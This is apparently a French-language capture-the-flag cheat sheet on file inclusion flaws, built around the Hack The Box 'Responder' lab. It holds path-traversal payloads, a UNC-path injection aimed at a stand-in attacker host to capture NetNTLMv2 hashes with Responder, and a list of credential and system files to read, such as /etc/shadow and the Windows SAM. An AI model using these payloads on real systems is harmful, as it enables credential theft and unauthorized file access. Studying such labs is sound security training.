Local File Inclusion (LFI) & Remote File Inclusion (RFI)
Detection
Reperer un parametre dans l'URL qui charge des fichiers :
http://unika.htb/index.php?page=french.html
Tester une inclusion de fichier local :
http://unika.htb/index.php?page=../../../../etc/hosts
Si le contenu du fichier s'affiche, c'est une LFI.
Box :
Responder
LFI vers capture de hash NetNTLMv2
Sur une machine Windows, on peut exploiter une LFI pour forcer une authentification SMB vers notre machine, et capturer le hash NTLM.
Etape 1 : Lancer Responder
sudo responder -I tun0
-I : interface reseau (ici le VPN HTB).
Etape 2 : Forcer la connexion SMB
Injecter un chemin UNC dans le parametre vulnerable :
http://unika.htb/index.php?page=//NOTRE_IP/partage
Le serveur Windows tente de se connecter a notre faux partage SMB et envoie son hash NetNTLMv2.
Etape 3 : Recuperer le hash
Responder affiche le hash dans le terminal :
[SMB] NTLMv2-SSP Client : <IP_CIBLE>
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
[SMB] NTLMv2-SSP Hash : Administrator::RESPONDER:...
Box :
Responder
Etape 4 : Craquer le hash
Voir la page Hash Cracking.
Fichiers interessants a lire via LFI
Linux
/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
Windows
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM
Reflexe
Sur une cible Windows, toujours penser a tester un chemin UNC (//IP/share) pour capturer un hash NTLM avec Responder.